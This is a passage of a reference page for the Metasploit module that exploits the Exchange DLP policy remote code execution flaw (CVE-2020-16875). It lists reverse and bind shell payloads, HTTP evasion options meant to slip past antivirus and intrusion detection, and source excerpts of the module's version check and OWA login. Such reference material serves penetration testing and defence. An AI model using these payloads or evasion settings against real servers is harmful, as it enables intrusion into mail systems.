99 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
100 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
101 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
102 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
103 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
104 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
105 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
106 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
107 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
108 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
109 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
110 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
111 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
112 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
113 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
114 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
115 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
116 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
117 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
118 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
119 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
120 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
121 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
122 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
123 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
124 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
125 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
126 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
127 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
128 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
129 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
130 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
131 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
132 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
133 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
134 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
135 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
136 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
137 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
138 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
139 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
140 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
141 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
142 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
143 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
144 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
145 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
146 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
147 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
148 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
149 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
150 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
151 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
152 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
153 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
154 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
155 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
156 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
157 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
158 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
159 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
160 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
161 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
162 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
163 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
164 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
165 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
166 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
167 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
168 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
169 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
170 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
171 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
172 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
173 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
174 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
175 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
176 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
177 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
178 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
179 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
180 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
181 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
182 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
183 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
184 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
185 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
186 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
187 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
188 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
189 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
190 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
191 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
192 payload/windows/x64/exec normal No Windows x64 Execute Command
193 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
194 payload/windows/x64/messagebox normal No Windows MessageBox x64
195 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
196 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
197 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
198 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
199 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
200 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
201 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
202 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
203 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
204 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
205 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
206 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
207 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
208 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
209 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
210 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
211 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
212 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
213 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
214 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
215 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
216 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
217 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
218 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
219 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
220 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
221 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
222 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
223 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
224 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
225 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
226 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
227 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
228 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
229 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
230 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
231 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
232 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
233 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
234 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
235 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
236 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
237 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
238 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
239 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
240 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
241 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
242 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
243 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
244 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
245 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
246 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
247 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
248 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
249 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
250 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
251 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/exchange_ecp_dlp_policy exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
- Target did not respond to check.
- Target does not appear to be running Exchange Server.
- Exchange Server <BUILD> is a vulnerable build.
- Exchange Server <BUILD> is not a vulnerable build.
- USERNAME and PASSWORD are required for exploitation
- Failed to access OWA login page
- Reached active session limit for mailbox
- Failed to log in to OWA with supplied creds
- Mailbox is active but not fully configured
- Failed to access DLP policy creation page
- Failed to retrieve ViewState
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target did not respond to check.
Here is a relevant code snippet related to the "Target did not respond to check." error message:
117: 'method' => 'GET',
118: 'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
119: )
120:
121: unless res
122: return CheckCode::Unknown('Target did not respond to check.')
123: end
124:
125: # Hat tip @tsellers-r7
126: #
127: # <link rel="shortcut icon" href="/owa/auth/15.1.2044/themes/resources/favicon.ico" type="image/x-icon">
Target does not appear to be running Exchange Server.
Here is a relevant code snippet related to the "Target does not appear to be running Exchange Server." error message:
124:
125: # Hat tip @tsellers-r7
126: #
127: # <link rel="shortcut icon" href="/owa/auth/15.1.2044/themes/resources/favicon.ico" type="image/x-icon">
128: unless res.code == 200 && %r{/owa/auth/(?<build>[\d.]+)/} =~ res.body
129: return CheckCode::Unknown('Target does not appear to be running Exchange Server.')
130: end
131:
132: if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
133: return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
134: end
Exchange Server <BUILD> is a vulnerable build.
Here is a relevant code snippet related to the "Exchange Server <BUILD> is a vulnerable build." error message:
128: unless res.code == 200 && %r{/owa/auth/(?<build>[\d.]+)/} =~ res.body
129: return CheckCode::Unknown('Target does not appear to be running Exchange Server.')
130: end
131:
132: if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
133: return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
134: end
135:
136: CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
137: end
138:
Exchange Server <BUILD> is not a vulnerable build.
Here is a relevant code snippet related to the "Exchange Server <BUILD> is not a vulnerable build." error message:
131:
132: if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
133: return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
134: end
135:
136: CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
137: end
138:
139: def exploit
140: owa_login
141: create_dlp_policy(retrieve_viewstate)
USERNAME and PASSWORD are required for exploitation
Here is a relevant code snippet related to the "USERNAME and PASSWORD are required for exploitation" error message:
141: create_dlp_policy(retrieve_viewstate)
142: end
143:
144: def owa_login
145: unless username && password
146: fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
147: end
148:
149: print_status("Logging in to OWA with creds #{username}:#{password}")
150:
151: res = send_request_cgi!({
Failed to access OWA login page
Here is a relevant code snippet related to the "Failed to access OWA login page" error message:
159: },
160: 'keep_cookies' => true
161: }, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth
162:
163: unless res
164: fail_with(Failure::Unreachable, 'Failed to access OWA login page')
165: end
166:
167: unless res.code == 200 && cookie_jar.cookies.any? { |cookie| cookie.name.start_with?('cadata') }
168: if res.body.include?('There are too many active sessions connected to this mailbox.')
169: fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
Reached active session limit for mailbox
Here is a relevant code snippet related to the "Reached active session limit for mailbox" error message:
164: fail_with(Failure::Unreachable, 'Failed to access OWA login page')
165: end
166:
167: unless res.code == 200 && cookie_jar.cookies.any? { |cookie| cookie.name.start_with?('cadata') }
168: if res.body.include?('There are too many active sessions connected to this mailbox.')
169: fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
170: end
171:
172: fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
173: end
174:
Failed to log in to OWA with supplied creds
Here is a relevant code snippet related to the "Failed to log in to OWA with supplied creds" error message:
167: unless res.code == 200 && cookie_jar.cookies.any? { |cookie| cookie.name.start_with?('cadata') }
168: if res.body.include?('There are too many active sessions connected to this mailbox.')
169: fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
170: end
171:
172: fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
173: end
174:
175: if res.body.include?('Choose your preferred display language and home time zone below.')
176: fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
177: end
Mailbox is active but not fully configured
Here is a relevant code snippet related to the "Mailbox is active but not fully configured" error message:
171:
172: fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
173: end
174:
175: if res.body.include?('Choose your preferred display language and home time zone below.')
176: fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
177: end
178:
179: print_good('Successfully logged in to OWA')
180: end
181:
Failed to access DLP policy creation page
Here is a relevant code snippet related to the "Failed to access DLP policy creation page" error message:
188: 'agent' => '', # HACK: Bypass Exchange's User-Agent validation
189: 'keep_cookies' => true
190: )
191:
192: unless res
193: fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
194: end
195:
196: unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
197: fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
198: end
Failed to retrieve ViewState
Here is a relevant code snippet related to the "Failed to retrieve ViewState" error message:
192: unless res
193: fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
194: end
195:
196: unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
197: fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
198: end
199:
200: print_good('Successfully retrieved ViewState')
201: viewstate
202: end
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Related Pull Requests
- #15575 Merged Pull Request: Update Gemfile.lock
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions
References
- CVE-2020-16875
- CVE-2020-17132
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875
- https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016
- https://srcincite.io/advisories/src-2020-0019/
- https://srcincite.io/pocs/cve-2020-16875.py.txt
- https://srcincite.io/pocs/cve-2020-16875.ps1.txt
- https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html
- https://www.x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/
See Also
Check also the following modules related to this module:
- exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
- exploit/windows/http/exchange_chainedserializationbinder_rce
- exploit/windows/http/exchange_ecp_viewstate
- exploit/windows/http/exchange_proxylogon_rce
- exploit/windows/http/exchange_proxynotshell_rce
- exploit/windows/http/exchange_proxyshell_rce
- auxiliary/gather/exchange_proxylogon_collector
- auxiliary/scanner/http/exchange_proxylogon
- auxiliary/scanner/http/exchange_web_server_pushsubscription
- auxiliary/scanner/msmail/exchange_enum
- exploit/windows/smtp/ms03_046_exchange2000_xexch50
- exploit/windows/ssh/freeftpd_key_exchange
- exploit/windows/ssh/freesshd_key_exchange
- exploit/osx/browser/safari_file_policy
- exploit/windows/smb/group_policy_startup
- auxiliary/gather/alienvault_newpolicyform_sqli
- exploit/linux/samba/setinfopolicy_heap
- exploit/windows/http/mcafee_epolicy_source
- auxiliary/dos/windows/smtp/ms06_019_exchange
- auxiliary/dos/windows/ssh/sysax_sshd_kexchange
- post/windows/gather/exchange
- auxiliary/admin/http/trendmicro_dlp_traversal
Related Nessus plugins:
- Security Updates for Exchange (September 2020)
- Security Updates for Microsoft Exchange Server (December 2020)
Authors
- Leonard Rapp
- Markus Vervier
- Steven Seeley
- Yasar Klawohn
- wvu
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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